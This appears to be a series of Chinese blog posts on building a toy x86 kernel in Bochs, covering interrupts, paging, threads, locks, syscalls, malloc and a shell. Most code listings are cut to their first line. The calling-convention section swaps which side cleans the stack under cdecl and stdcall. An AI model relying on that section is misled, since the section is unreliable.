1 | ps -ef | grep xxx |
管道之所以可以这样使用,是进行了输入输出重定向。通常情况下键盘是输入,屏幕是输入。这就是标准输入与标准输出。而输入输出重定向就是改变输入输出的位置,比如从文件中读取输入称为输入重定向,将结果输出到文件中称为输出重定向。管道的作用就是利用了输入输出重定向的与原理,将一个命令的输出作为另一个命令的输入来使用。管道符左边命令的输出数据会作为右边命令的输入数据使用。实现的时候就需要把旧的文件描述符替换为新的文件描述符,如下所示
1 | /* 将文件描述符old_local_fd重定向为new_local_fd */ |
下面是shell中增加的代码
1 | /* 执行命令 */ |
最后增加一个help功能
1 | /* 显示系统支持的内部命令 */ |
我们测试一下
所有代码我打包在了 -> 这里
]]>线程和进程的概念不用多说大家肯定都比较熟悉,线程是具有能动性、执行力、独立性的代码块。进程 = 线程+资源。那么下面代码中你能区别普通函数和线程函数的区别么?我们知道普通的函数之间发生函数调用的时候,要进行压栈的一系列操作,然后调用,它需要依赖程序上下文的环境。而线程函数则是自己提供一套上下文环境,使其更加具有独立性的在处理器上执行。二者的区别也主要是上下文环境。
1 | void threadFunc(void *arg) |
我们再来说说进程,操作系统为每个进程提供了一个PCB,用于记录此进程相关的信息,所有进程的PCB形成了一张表,这就是进程表,我们自己写的操作系统中PCB的结构是不固定的,其大致内容有寄存器映像、栈、pid、进程状态、优先级、父进程等,为了实现它,我们先创建thread目录,然后创建thread.c和.h文件,下面是PCB的结构,位于.h文件中
1 | /* 进程或线程的pcb,程序控制块 */ |
我们的线程是在内核中实现的,所以申请PCB结构的时候是从内核池进行操作的,下面看看初始化的内容,主要内容是给PCB的各字段赋值
1 | /* 初始化线程基本信息 */ |
然后用thread_create初始化栈thread_stack,其中减去的操作主要是为了以后预留保存现场的空间
1 | /* 初始化线程栈thread_stack,将待执行的函数和参数放到thread_stack中相应的位置 */ |
上面的function即使线程所执行的函数,这个函数并不是用call去调用,我们用的是ret指令进行调用,CPU执行哪条指令是通过EIP的指向来决定的,而ret指令在返回的时候,当前的栈顶就会被当做是返回地址。也就是说,我们可以把某个函数的地址放在栈顶,通过这个函数来执行线程函数。那么在ret返回的时候,就会进入我们指定的函数当中,这个函数就会来调用线程函数。下面就是启动线程的函数
1 | /* 由kernel_thread去执行function(func_arg) */ |
为了实验我们还需要在main.c中对thread_start进行调用
1 |
|
编译运行结果如下所示,测试成功
为了提高效率,实现多线程调度,我们需要用数据结构对内核线程结构进行维护,首先我们需要在lib/kernel目录下增加队列结构
1 |
|
多线程调度需要我们继续改进线程代码,我们用PCB中的general_tag字段作为节点链接所有PCB,其中还有一个ticks字段用于记录线程执行时间,ticks越大,优先级越高,时钟中断一次,ticks就会减一,当其为0的时候,调度器就会切换线程,选择另一个线程上处理器执行,然后打上TASK_RUNNING的标记,之后通过switch_to函数将新线程的寄存器环境恢复,这样新线程才得以执行,完整调度过程需要以下三步
调度器主要实现如下
1 | /* 实现任务调度 */ |
接下来是切换函数的实现,在thread/目录下创建switch.S,由两部分组成第一部分负责保存任务进入中断前的全部寄存器,第二部分负责保存esi、edi、ebx、ebp四个寄存器。堆栈图压栈之后的如下所示
代码如下所示
1 | [bits 32] |
修改makefie、printf等一些文件之后,最终能实现多线程的调度主函数main.c如下所示
1 |
|
不过这里会引发GP异常,如下所示,可以用nm build/kernel.bin | grep thread_start
查看线程函数地址,然后在线程函数下断点,再用show exitint
打印中断信息,这样就可以观察异常处的寄存器信息,这里产生异常的原因是寄存器bx的值超过了段界限limit的值0x7fff
思考之前代码的问题,字符打印问题主要出现在交界处无法打印正确,回忆put_str函数打印有三个步骤
在打印的时候,若线程A到了第二步,此时发生了时钟中断,那么线程B就会重新获取光标值,这样导致数据覆盖,所以我们需要保证公共资源显存只有一个线程访问,也就是需要保证原子性,我们需要在put_str函数中进行开关中断的操作,如下所示,后面对公共资源”光标寄存器”也需要这样进行原子操作避免GP异常,这样做可以正确的打印输出,但只能解决输出函数线程竞争的问题,如果其他地方也有这种竞争问题就需要我们用一种新的机制来解决,也就是锁的机制。
1 | [...] |
要进行线程同步,肯定要在需要同步的地方阻止线程的切换。这里主要通过信号量的机制对公共资源加锁,达到同步的目的。信号量的原理本身比较简单。通过P、V操作来表示信号量的增减,如下。
P操作,减少信号量:
V操作,增加信号量:
首先我们需要实现线程的阻塞与唤醒,阻塞通常是线程自己阻塞自己,唤醒通常是其他线程唤醒本线程。具体实现如下,在thread.c中进行修改
1 | /* 当前线程将自己阻塞,标志其状态为stat. */ |
信号量锁的结构如下,实现在thread/sync.c和.h,信号量仅仅是一个编程理念,实现功能即可
1 | /* 信号量结构 */ |
初始化就是给各个字段赋值
1 | /* 初始化信号量 */ |
P操作
1 | /* 信号量down操作 */ |
V操作
1 | /* 信号量的up操作 */ |
获取锁和释放锁
1 | /* 获取锁plock */ |
接下来需要对锁进行测试,我们需要对终端输出进行封装,基本上都是对锁的使用,没什么好说的
1 |
|
然后在init文件添加初始化函数并在main文件进行测试,只需要将put_str("...")
修改为console_put_str("...")
,测试结果如下
键盘的输入和输出主要是对8042和8048芯片的操作,这两芯片的数据在P456页开始有介绍,主要是对端口0x60的操作,其作为IO缓冲区,关系如下
我们将键盘的输入根据键盘扫描码(P462)进行转换,最终需要将其转换为我们键盘按下字符对应的ASCII码。其本质就是,键盘中断处理程序负责接收按键信息,也就是扫描码,然后就是对扫描码的处理,我们将用驱动程序对其进行实现,需要分两个阶段完成
我们在device/keyboard.c和.h中实现,其中对于操作控制键和其他键配合按下的情况,比如crtl+a这种就需要定义一个变量判断之前是否已经按下crtl键,对于shift组合字符我们用的是二维数组保存,如shift+1显示的是 ! 字符
1 | /* 定义以下变量记录相应键是否按下的状态, |
后面的函数都是对通码、断码、组合键的一些处理
1 | /* 键盘中断处理程序 */ |
修改main函数对我们的输入进行测试
1 |
|
测试结果如下,可以实现大部分键盘的输入,但当使用小键盘中1~9的时候会显示未识别,不过这个问题不大
为了构建交互式的shell,我们需要实现一个缓冲区用来保存我们输入的指令,这里我们使用的是一个环形的缓冲区,既然是环形,就涉及到它的设计思路,我们使用的是生产者-消费者模型,具体实现在device目录下的ioqueue.c和.h文件中,其中队列结构如下所示
1 |
|
初始化io队列
1 | /* 初始化io队列ioq */ |
其他函数如下所示,其中比较关键的是ioq_getchar
和ioq_putchar
函数
1 | /* 返回pos在缓冲区中的下一个位置值 */ |
我们还需要修改interrupt.c文件,打开时钟中断和键盘中断,最后在main.c中修改测试代码如下
1 | [...] |
这里我一直按下的 t 键,可以看到线程A和B交替执行
之前介绍GDT的时候提到过LDT,我们的操作系统本身不实现LDT,但其作用还是有必要了解的,LDT也叫局部描述符表。按照内存分段的方式,内存中的程序映像自然被分成了代码段、数据段等资源,这些资源属于程序私有部分,因此intel建议为每个程序单独赋予一个结构来存储其私有资源,这个结构就是LDT,因为是每个任务都有的,故其位置不固定,要找到它需要先像GDT那样注册,之后用选择子找到它。其格式如下,LDT中描述符的D位和L位固定为0,因为属于系统断描述符,因此S为0。描述符在S为0的前提下,若TYPE的值为0010,即表示描述符是LDT。与其配套的寄存器和指令即为LDTR和lldt "16位通用寄存器" 或 "16位内存单元"
:
单核CPU想要实现多任务,唯一的方案就是多个任务共享同一个CPU,也就是让CPU在多个任务间轮转。TSS就是给每个任务”关联”的一个任务状态段,用它来关联任务。TSS(任务状态段)是由程序员来提供,CPU进行维护。程序员提供是指需要我们定义一个结构体,里面存放任务要用的寄存器数据。CPU维护是指切换任务时,CPU会自动把旧任务的数据存放的结构体变量中,然后将新任务的TSS数据加载到相应的寄存器中。
TSS和之前所说的段一样,本质上也是一片存储数据的内存区域,CPU用这块内存区域保存任务的最新状态。所以也需要一个描述符结构来表示它,这个描述符就是TSS描述符,它的结构如下,因为属于系统断描述符,因此S为0。描述符在S为0的前提下,若TYPE的值为10B1,B位表示Busy,为1表示繁忙,0表示空闲
其工作模式和LDT相似,由寄存器TR保存TSS的起始地址,使用前也需要进行注册,都是通过选择子来访问的,将TSS加载到TR的指令是ltr,格式如下
1 | ltr "16位通用寄存器" 或 "16位内存单元" |
任务切换的方式有”中断+任务门”、”call或jmp+任务门”、和iretd三种方式,这些方式都比较繁琐,对于Linux系统以及大部分x86系统而言,这样使用TSS效率太低,这一套标准需要我们在”应付”的前提下达到最高效率,我们这里主要效仿Linux系统的做法,Linux为了提高任务切换的速度,通过如下方式来进行任务切换:
一个CPU上的所有任务共享一个TSS,通过TR寄存器保存这个TSS,在使用ltr指令加载TSS之后,该TR寄存器永远指向同一个TSS,之后在进行任务切换的时候也不会重新加载TSS,只需要把TSS中的SS0和esp0更新为新任务的内核栈的段地址及栈指针。
接下来我们实现TSS,在kernel/global.h中我们增加一些描述符属性
1 | // ---------------- GDT描述符属性 ---------------- |
关键代码我们在userprog/tss.c中实现,首先根据tss结构构造如下结构体
1 | /* 任务状态段tss结构 */ |
初始化主要是效仿Linux中初始化ss0和esp0,然后将TSS描述符加载到全局描述符表中,因为GDT中第0个描述符不可用,第1个为代码段,第2个为数据段和栈,第3个为显存段,第4个就是我们的tss,故地址为0xc0000900+0x20
1 |
|
修改初始化函数之后,测试一下,用info gdt命令查看gdt表,可以看到TSS正确加载到第四个描述符中。
实现进程的过程是在之前的线程基础上进行的,在创建线程的时候是将栈的返回地址指向了kernel_thread函数,通过该函数调用线程函数实现的,其执行流程如下,我们只需要把执行线程的函数换成创建进程的函数就可以了
与线程不同的是,每个进程都单独有4GB虚拟地址空间,所以,需要单独为每个进程维护一个虚拟地址池,用来标记该进程中地址分配信息
1 | /* 进程或线程的pcb,程序控制块 */ |
用户进程创建页表的实现在memory.c中添加
1 | // 在虚拟内存池中申请pg_cnt个虚拟页 |
我们还需让用户进程工作在3环下,这就需要我们从高特权级跳到低特权级。一般情况下,CPU不允许从高特权级转向低特权级,只有从中断返回或者从调用门返回的情况下才可以。这里我们采用从中断返回的方式进入3特权级,需要制造从中断返回的条件,构造好栈的内容之后执行iretd指令,下面是添加的函数
1 | //构建用户进程初始上下文信息 |
激活页表,其参数可能是进程也可能是线程
1 | /* 激活页表 */ |
创建用户进程的页目录表
1 | uint32_t *create_page_dir(void) |
创建用户进程filename并将其添加到就绪队列中
1 | /* 创建用户进程 */ |
要执行用户进程,我们需要通过调度器将其调度,不过这里因为用户进程是ring3,内核线程是ring0,故我们需要修改调度器
1 | /* 实现任务调度 */ |
最后在main中添加测试代码,用内核线程帮进程打印数据
1 | [...] |
测试结果如下所示,在u_prog_a进程下断点观察cs为0x002b,和预期相符
系统调用就是让用户进程调用了操作系统的功能,我们需要实现两部分,一部分属于用户空间,提供接口函数,另一部分作为内核具体实现。Linux中直接的系统调用是宏_syscall,不过现在已经废弃并被库函数syscall替代,为了内核实现更简单,我们参考_syscall来实现系统调用,其用法可以用man命令自行查询,实现思路大致如下:
我们就按照这个步骤一步步完成代码,首先实现获取任务自己的PID
增加0x80号中断描述符
1 |
|
在lib/user/目录下新添加syscall文件,实现调用接口
1 | /* 无参数的系统调用 */ |
增加0x80的处理例程
1 | [bits 32] |
初始化系统调用和实现sys_getpid,由userprog目录下新创建的syscall-init实现
1 |
|
线程初始化函数中分配pid值
1 | struct lock pid_lock; // 分配pid锁 |
syscall文件中继续添加系统调用
1 | /* 返回当前任务pid */ |
最后在main函数中测试一下效果,其中用户接口函数为getpid(),内核实现为sys-getpid(),分别由用户进程和内核线程调用
1 | int prog_a_pid = 0, prog_b_pid = 0; |
测试结果如下
因为我们还没有实现文件系统,故不能模仿Linux中write的系统调用,不过我们可以略去第一个参数,实现一个简单版的write,首先根据前面获取pid的基础,我们先实现提供用户调用接口,添加功能号,初始化等工作
1 | uint32_t write(char *str) |
添加处理程序
1 | uint32_t sys_write(char *str) |
printf原理是由write和vsprint组合,首先需要知道可变参数的原理,一般平时使用的函数,参数的个数都是已知的。函数占用的是静态内存,也就是说再编译期就要确定为其分配多大的空间。而对于可变参数则不一样,比如
1 | int printf(const char *format, ...); |
不过调用printf的时候我们指定了format,根据format的内容其实也就确定了参数内容,比如一个%d就多一个参数。这样我们就可以通过遍历format中的字符,筛选出%号后的数据进行单独处理即可
1 | /* 将参数ap按照格式format输出到字符串str,并返回替换后str长度 */ |
最后就是printf的实现
1 |
|
我们在main中重新测试一下效果
1 | int main(void) { |
测试结果如下
接下来我们需要重新实现malloc和free函数,虽然之前的内容中已经实现过内存分配的功能,但之前的内存管理模块中只是实现了内核空间的内存分配,而且每次分配的空间都是以页为单位,也就是只能分配页的整数倍的空间,我们需要优化使其能分配用户想要申请的大小。
首先引入arena的概念,arena是一大块的内存被划分的多个小的内存块的内存仓库。按照内存块的大小,可以划分成不同规格的arena。比如一种arena中全是32byte的内存块,它就只相应32byte以下内存空间的分配。这一整块arena的大小同样是页的整数倍,按照申请内存空间的大小,这个arena可能是1页或者多页。其结构由两部分组成,一是这块内存的元信息,用来描述这个arena中剩余的内存块,二是内存池区域,里面就是多个大小相同的内存块。
当一块arena大小的内存分配完的时候,也就是该arena中的所有mem_block都分配出去了,就需要新增一个与之前arena规格相同的arena来满足内存的需求,那么这些相同规格arena之前同样需要一个结构来进行管理,这个结构用来记录arena的规格以及同规格arena中所有空闲内存块链表,也称为内存块描述符。
当申请的内存大于1024byte时,arena中的元信息就为NULL,剩下的所有空间合为一个mem_block,也就是说只有一个为NULL的元信息和一块大内存。我们将arena划分为7种规格大小,分别为16byte, 32byte, 64byte, …. 1024byte。一个arena一般占用1页也就是4096byte,假设arena中的元信息在设计中它会占用12byte大小,对于规格为16byte的arena来说,它有(4096 - 12) / 16 = 255个内存块,有4byte的空间被浪费。
下面进行具体实现,修改memory.h文件
1 | /* 内存块 */ |
初始化在.c文件中
1 | /* 内存仓库arena元信息 */ |
下面实现sys_malloc,该函数就是在堆上分配指定大小的空间。这也是malloc的底层实现
1 | // 堆中申请size字节 |
释放内存和分配内存过程相反,首先看一下申请的过程:
与之相反的释放的过程如下:
具体实现也在memory文件中
1 | /* 将物理地址pg_phy_addr回收到物理内存池 */ |
释放虚拟地址中物理页框的步骤是,先调用pfree清空物理页地址,在调用page_table_pte_remove删除页表中此地址的pte,最后调用vaddr_remove清除虚拟地址位图中的相应位
1 | /* 释放以虚拟地址vaddr为起始的cnt个物理页框 */ |
下面实现sys_free,对释放的内存是否大于1024有不同的处理,大于则将页框在虚拟内存池和物理内存池的位图中将相应位置置0,小于则将arena中的内存块重新放回到内存块描述符中的空闲块链表free_list
1 | /* 回收内存ptr */ |
最后我们在syscall文件中添加我们的系统调用
1 | /* 申请size字节大小的内存,并返回结果 */ |
更新系统调用号数组表
1 | /* 初始化系统调用 */ |
最后进行测试,下面是main中主要测试代码,申请内存大小对应规格均为256,所以会出现累加的情况
1 | int main(void) { |
测试结果如下,地址确实是连续的,和预期相符
]]>调用约定主要体现在以下三方面:
有如下常见的调用约定,我们主要关注cdecl、stdcall、thiscall即可
cdecl是默认c的调用约定,调用者将所有参数从右向左入栈,被调用者清理参数所占栈空间,举个例子
1 | int subtract(int a, int b); // 被调用者 |
调用者汇编如下
1 | push 2 |
被调用者汇编如下
1 | push ebp ; 备份ebp |
进入subtract函数时栈中的布局如下
stdcall是微软Win32 API的标准,调用者将所有参数从右向左入栈,并且调用者清理参数所占栈空间,还是上面的例子,调用者汇编如下
1 | push 2 |
被调用者汇编如下
1 | push ebp ; 备份ebp |
thiscall则在C++中非静态成员函数的默认调用约定,其主要区别是ecx会多保存一个this指针指向操作的对象。
为了更加理解系统调用,在后面会更频繁的结合C和汇编进行操作,下面做一个实验,分别用三种方式调用write函数,模拟下面C调用库函数的过程
1 |
|
模拟代码syscall_write.S
如下
1 | section .data |
运行结果如下
既然我们用汇编模拟了C中的write函数,下面就用C结合汇编进行第二个实验
C_with_S_c.c
1 | extern void asm_print(char*,int); |
C_with_S_S.S
1 | section .data |
其调用关系如下图
编译过程如下所示
对于字符的打印主要是对显卡端口的操作,所以是用汇编实现,这里新键一个lib目录,里面添加一个头文件,主要申请一些数据结构信息,来自Linux源码
1 |
|
再新建一个user目录和一个kernel目录,我们的print实现代码就在kernel目录下的print.S
,这个函数比较复杂,处理流程如下
首先需要知道光标和字符的区别,它们之间没有任何关系,光标位置保存在光标寄存器中,可以手动维护,这就需要参考书中的显卡寄存器索引(P264),我们需要操作CRT控制数据寄存器中索引为0x0E的Cursor Location High Register和索引为0x0F的Cursor Location Low Register分别用来储存光标坐标的高8位和低8位。访问CRT寄存器,需要首先往端口地址为0x3D4寄存器写入索引,然后再从端口0x3D5的数据寄存器读写数据,另外一些特殊字符需要特殊处理,其中还会涉及到滚屏的处理,我们的屏幕是80*25
大小的,步骤如下:
1 | TI_GDT equ 0 |
头文件print.h
1 |
|
下面测试代码main.o
1 |
|
目前为止的目录结果如下
1 | . |
编译需要用到的几条命令,目录不同会有变化
1 | sudo nasm -f elf -o print.o print.S |
显示结果如下
下面把put_char
函数封装起来,put_str
通过put_char
来打印以0字符结尾的字符串,思想就是循环打印直到0结束
1 | ; -------------------------------------------- |
print.h
中增加一行申明
1 |
|
main.c
对其进行调用测试
1 |
|
测试结果如下
前面是实现对字符的打印,下面需要增加对整数的打印,逐位处理,A~F再单独处理,再增加对高位多余0的处理,详情见注释
1 | ;-------------------- 将小端字节序的数字变成对应的ascii后,倒置 ----------------------- |
在print.h
增加一行put_int
的申明注释,main.c
中增加测试代码即可,测试结果如下所示
中断的存在极大提高了计算机的效率,可分为外部中断和内部中断。
外部中断的中断源为某个硬件,CPU为中断信号提供了两条信号线分别是INTR
和NMI
,如下图所示,从INTR引脚收到的中断都是不影响系统运行的,可以随时处理,不会影响到CPU的执行。也称为可屏蔽中断。可以通过eflag中的IF
位将所有这些外部中断屏蔽
内部中断可分为软中断和异常
软中断
顾名思义是软件主动发起的中断,不受eflags中的IF位的影响,有如下指令:
异常
异常是指令执行期间CPU内部产生的错误引起的,也不受eflags中的IF位的影响,按照轻重程度分为三种
中断描述符表是保护模式下用于存储中断处理程序入口的表,当CPU接受到一个中断时,需要根据该中断的中断向量号在此表中检索对应的描述符,在该描述符中找到中断处理程序的起始地址,然后执行中断处理程序,这和之前段描述符非常类似,类比学习即可。
实模式下用于中断处理程序入口的表叫做中断向量表(IVT),保护模式下则是中断描述符表(IDT)。
IVT在实模式下位于0~0x3ff共1024个字节,又知IVT可容纳256个中断向量,故每个中断向量用4字节描述;对比IVT,IDT表地址不受限制,在哪里都可以,每个描述符用8字节描述。这里主要讨论IDT,在IDT中描述符称之为门,也就是之前介绍过的门,这里再区别一下门和段描述符
IDT位置不固定,故CPU找到它需要通过一个寄存器IDTR,如下图,其中0~15位是表界限,也就是IDT大小减一,第16~47位是IDT的基地址,和之前的GDTR是一个原理
16位的表界限范围是0~0xffff,即64KB,可容纳的描述符个数是64KB/8=8K=8192个。特别注意的是GDT中的第0个段描述符是不可用的,但IDT却无此限制,第0个门描述符也是可用的,处理器只支持256个中断,即0~254,中断描述符中其他的描述符不可用,还需要注意的是门描述符中的P位,构建IDT时需要将其置为0,表示门描述符的中断处理程序不在内存中。加载IDTR需要用到lidt指令,用法是lidt 48位内存数据
中断的处理过程总结如下
中断发生之后需要执行中断处理程序,该中断处理程序是通过中断门描述符中保存的代码段选择子和段内偏移找到的,这个时候就需要重新加载段寄存器,也就是说需要在栈中保存一些寄存器信息(CS:EIP、eflags等),保证中断之后执行的流程正确,当特权级变化的时候,压栈如下图所示
图A、B:在发生中断是通过特权级的检测,发现需要向高特权级转移,所以要保存当前程序栈的SS和ESP的值,在这里记为ss_old, esp_old,然后在新栈中压入当前程序的eflags寄存器。
图C、D:由于要切换目标代码段,这种段间转移,要对CS和EIP进行备份,同样将其存入新栈中。某些异常会有错误码,用来标识异常发生在哪个段上,对于有错误码的情况,要将错误码也压入栈中。
当特权级没有变化的时候,就不需要压入旧栈的SS和EIP
返回的时候通过指令 iret 完成,iret 指令会从栈顶依次弹出EIP、CS、EFLAGS,根据特权级的变化还有ESP、SS。但是该指令并不验证数据的正确性,而且他从栈中弹出数据的顺序是不变的,也就是说,在有error_code的情况下,iret返回时并不会主动跳过这个数据,需要我们手动进行处理。
下面通过操作8259A芯片实现第一个中断处理程序,关于8259A相关信息参考书中P311内容,本质上是一个可编程中断控制器,处理流程如下,init_all
负责初始化所有设备及结构体,然后调用idt_init
初始化中断相关内容,内部分别调用了pic_init
和idt_desc_init
实现,其中pic_init
初始化8259A,idt_desc_init
负责对中断描述符IDT表进行初始化,最后再对IDT表进行加载
我们需要进行以下几个步骤
新添加中断后的文件树如下所示,build
中是生成后的文件,device
中存放的是为了提高中断频率对8253计数器的操作,kernel
中新加的interrupt
是对中断初始化的主要文件
1 | . |
编译比较麻烦,如下所示
1 | //编译c程序,生成目标文件,这里需要关闭栈保护并指定32位程序 |
运行结果如下,这里我为了效果演示注释了interrupt.c
文件中general_intr_handler
函数的最后三行打印中断号的部分,结果如下
取消注释后,效果如下
在编写内存管理系统之前需要做一些其他的准备工作
为了更好的对kernel进行编译,这里使用makefile来操作,makefile具体的知识点就不单独列举了,感兴趣的小伙伴可以自己查阅资料,和作者不同的是这里我是x64的系统,新增了一些编译选项并且把ubantu的终端修改为了bash,具体如下
1 | BUILD_DIR = ./build |
为了调试方便我们新增加了断言(ASSERT),其核心思想是若断言通过则什么都不做,若不通过则用循环实现等待,打印错误信息,具体内容见debug.c
和debug.h
,在main.c
中对其进行测试
1 |
|
主目录下用sudo make all
编译之后,测试断言运行效果如下所示
在lib目录下用string.c
实现对字符串的一些操作函数,比较好理解就不多解释了,代码如下
1 |
|
位图用于实现资源管理,相当于一张表,表中为1表示占用,为0表示空闲,之后我们将其用来管理内存,我们在前面的基础之上实现BITMAP,在lib/kernel
目录下新增bitmap.h
与bitmap.c
,代码如下,bitmap结构比较简单,只有两个成员:指针bits和位图的字节长度btmp_bytes_len
1 |
|
下面的一些函数主要是对位图的一些操作函数,还是比较容易看懂的,其中较为核心的函数是bitmap_scan
1 |
|
根据之前的铺垫,为了实现内存中用户和内核的区分,我们用位图实现对内存使用情况的记录,我们将物理内存划分为用户内存池和内核内存池,一页为4KB大小。
内核在申请空间的时候,先从内核自己的虚拟地址池中分配好虚拟地址再从内核物理地址池中分配物理内存,最后在内核自己的页表中将这两种地址建立好映射关系,内存就分配完成。
对用户进程来说,它向操作系统申请内存时,操作系统先从用户进程自己的虚拟地址分配虚拟地址,在从用户物理内存池中分配空闲的物理内存,用户物理内存池是被所有用户进程所共享的。最后在用户进程自己的页表中将这两种地址建立好映射关系。
实现在kernel目录下新建memory.c
和memory.h
,虚拟内存池结构和物理内存池结构如下,物理内存多了一个记录大小的pool_size,因为虚拟地址是连续的4GB空间,相对而言空间非常大,而物理地址是有限的,所以不存在对虚拟地址大小的记录。
1 | struct virtual_addr |
在前面创建页目录和页表的时候,我们将虚拟地址 0xc0000000~0xc00fffff
映射到了物理地址 0x0~0xfffff
,0xc0000000 是内核空间的起始虚拟地址,这 1MB 空间做的对等映射。为了看起来使内存连续,所以这里内核堆空间的开始地址从 0xc0100000 开始,在之前的设计中,0xc009f000 为内核主线程的栈顶,0xc009e000 将作为主线程的 PCB 使用,那么在低端1MB的空间中,就只剩下0xc009a000~0xc009dfff
这4 * 4KB
的空间未使用,所以位图的地址就安排在 0xc009a000 处,这里还剩下四个页框的大小,所能表示的内存大小为512MB
1 |
关键初始化函数如下,主要实现对内核池与用户池在物理内存中的平均分配
1 | // 初始化内存池 |
写入makefile文件,编译运行效果如下,我们还没有实现对任意内存申请的函数,这里只是先将内存池进行了初始化,内核物理内存池所用的位图地址在0xc009a000,内存池中第一块物理页地址是0x200000
接下来就是实现对内存的分配,首先复习一下32位虚拟地址的转换过程:
比如访问虚拟地址0x00c03123
,拆分步骤如下
1 | 0x00c03123 => 16进制 |
整个过程如下图所示
32位地址在上面转换之后则落向物理地址,内存分配的过程:
接下来就是一步一步在memory
文件中增加函数
在虚拟内存池中申请n个虚拟页
1 | /* 在pf表示的虚拟内存池中申请pg_cnt个虚拟页, |
在物理内存池中分配物理页
这个函数比较关键,主要是对位图的扫描和记录,然后根据位图索引返回分配的物理地址
1 | // 在m_pool指向的物理内存池中分配一个物理页 |
在页表中添加虚拟地址与物理地址的映射关系
再次复习一下32位虚拟地址到物理地址的转换,我们后面实现pde和pte访问就是用的这个原理
下面是通过虚拟地址访问pte和pde的函数
1 | /* 得到虚拟地址vaddr对应的pte指针*/ |
在m_pool
处申请物理页的函数
1 | /* 在m_pool指向的物理内存池中分配1个物理页, |
添加虚拟地址与物理地址的映射函数
1 | /* 页表中添加虚拟地址_vaddr与物理地址_page_phyaddr的映射 */ |
malloc_page
函数负责申请虚拟地址并分配物理地址、建立映射,大致步骤如下
1 | /* 分配pg_cnt个页空间,成功则返回起始虚拟地址,失败时返回NULL */ |
最后一个函数负责在物理内存池中申请pg_cnt页内存
1 | /* 从内核物理内存池中申请pg_cnt页内存,成功则返回其虚拟地址,失败则返回NULL */ |
最后我们在main.c中添加测试代码,申请三个页并打印其虚拟地址
1 |
|
运行效果如下,期中最上面的红框表示虚拟地址起始地址,对照第二个红框的对应关系,第三个红框中为7是因为我们申请了三个页,第三位都为1,位图的变化和预期相符合。
]]>很久之前就想要实现一个内核,就算是抄也想要抄一遍。虽然这是一件重复造轮子的事情,但我个人认为这是任何一个想深入理解内核的人都需要走的一步,Windows和Linux在很多方面是类似的,深入了解其底层原理,你会发现不过也就是一个软件罢了。至于为何要写一篇文章来记录这繁琐枯燥的过程,一方面是因为自己喜欢记录一些学习过程,之后不说100%,至少80%可能是会参考到的。另一方面自己很久之前也答应了一些人要写个内核,却迟迟没有开始,说到这我都不好意思了。
关于操作系统实现的书籍我自己的阅读顺序如下,我自己认为先从Linux平台下手再到Windows比较好,当然也有很多其他很好的书籍,像《一个64位操作系统的设计与实现》、《30天自制操作系统》等,我认为选个一两本就足够了,带着目的去读书最重要。Anyway 希望这系列文章能够帮到你 :)
《操作系统真相还原》
《x86汇编语言从实模式到保护模式》
实验环境如下
主机 | 虚拟机(Vmware 15.5.0 build) | 实验机(Ubantu中安装) |
---|---|---|
Windows 10 1903 x64 | Ubantu 16.04 x64 | Bochs 2.6.2 |
首先安装一系列依赖
1 | sudo apt-get install build-essential |
放入网上下载好的bochs 2.6.2版本,解压安装
1 | tar zxvf bochs-2.6.2.tar.gz |
设置环境属性
1 | ./configure \ |
直接sudo make
编译正常情况会出现以下错误
1 | [...] |
找到Makefile文件LIBS =
这句最后面添加上-lpthread
1 | LIBS = -lm -lgtk-x11-2.0 -lgdk-x11-2.0 -lpangocairo-1.0 -latk-1.0 -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lpangoft2-1.0 -lpango-1.0 -lgobject-2.0 -lglib-2.0 -lfontconfig -lfreetype -lpthread |
重新sudo make
编译,然后sudo make install
安装,在bochs目录下创建一个bochsrc.disk
配置文件
1 | # Configuration file for Bochs |
运行即可,路径为/home/guang/soft/bochs-2.6.2/bin
,之后的命令能加sudo
的都加上,避免不必要的错误
第一次输入直接回车,第二次输入我们的bochsrc.disk即可设置我们初始化文件
1 | You can also start bochs with the -q option to skip these menus. |
运行之后会中断提示Mouse capture off
,这个时候输入c继续运行即可,运行成功如下图,这里会提示没有设置设备信息
设置设备需要运行bximage
进行模拟,使用方法如下
1 | Usage: bximage [options] [filename] |
如下方式创建名为hd60M.img
的虚拟镜像
在之前的bochsrc.disk
配置文件中添加一行ata0-master: type=disk, path="hd60M.img", mode=flat, cylinders=121, heads=16, spt=63
,重新指定配置文件运行
1 | sudo ./bochs -f bochsrc.disk |
再次报错,这次提示的错误和之前的不太一样,意思是这不是一个启动盘,后面我们需要编写具体的启动盘,故完成到这里环境搭建完毕
BIOS即输入输出系统,是按下主机键之后第一个运行的软件,其主要工作有
实模式下的1MB内存布局如下,其中0~0x9FFFF处是DRAM,即动态随机访问内存,我们所装的物理内存就是DRAM,如DDR、DDR2等。顶部的0xF0000~0xFFFFF,这64KB的内存是ROM。
起始 | 结束 | 大小 | 用途 |
---|---|---|---|
FFFF0 | FFFFF | 16B | BIOS入口地址,此地址也属于BIOS代码,同样属于顶部的640KB字节。只是为了强调其入口地址才单独贴出来。此处16字节的内容是跳转指令jmp f000:e05b |
F0000 | FFFEF | 64KB-16B | 系统BIOS范围是F0000~FFFFF共640KB,为说明入口地址,将最上面的16字节从此处去掉了,所以此处终止地址是0XFFFEF |
C8000 | EFFFF | 160KB | 映射硬件适配器的ROM或内存映射式I/O |
C0000 | C7FFF | 32KB | 显示适配器BIOS |
B8000 | BFFFF | 32KB | 用于文本模式显示适配器 |
B0000 | B7FFF | 32KB | 用于黑白显示适配器 |
A0000 | AFFFF | 64KB | 用于彩色显示适配器 |
9FC00 | 9FFFF | 1KB | EBDA(Extended BIOS Data Area)扩展BIOS数据区 |
7E00 | 9FBFF | 622080B约608KB | 可用区域 |
7C00 | 7DFF | 512B | MBR被BIOS加载到此处,共512字节 |
500 | 7BFF | 30464B约30KB | 可用区域 |
400 | 4FF | 256B | BIOS Data Area(BIOS数据区) |
000 | 3FF | 1KB | Interrupt Vector Table(中断向量表) |
BIOS因为是第一个运行的软件,故需要用硬件对其加载到ROM(0xF0000~0xFFFFF)中,其入口点是0xFFFF0(CPU通过段地址+偏移地址即可访问),因为自己还没有加载起来,想要直接定位到0xFFFF0靠自己肯定是不行的,故也需要硬件来操作,使开机的时候强制将CS:IP
置为0xF000:0xFFF0
,实模式段基址需要乘16(左移四位),故起始地址为0xFFFF0
1 | (0xF000 << 4) + 0xFFF0 = 0xFFFF0 |
这个起始地址距离1MB内存只有16字节大小,所以这里肯定不是真正实现BIOS的地方,这里肯定只是一个类似于函数索引表的跳板,跳转到真正执行BIOS的地方。
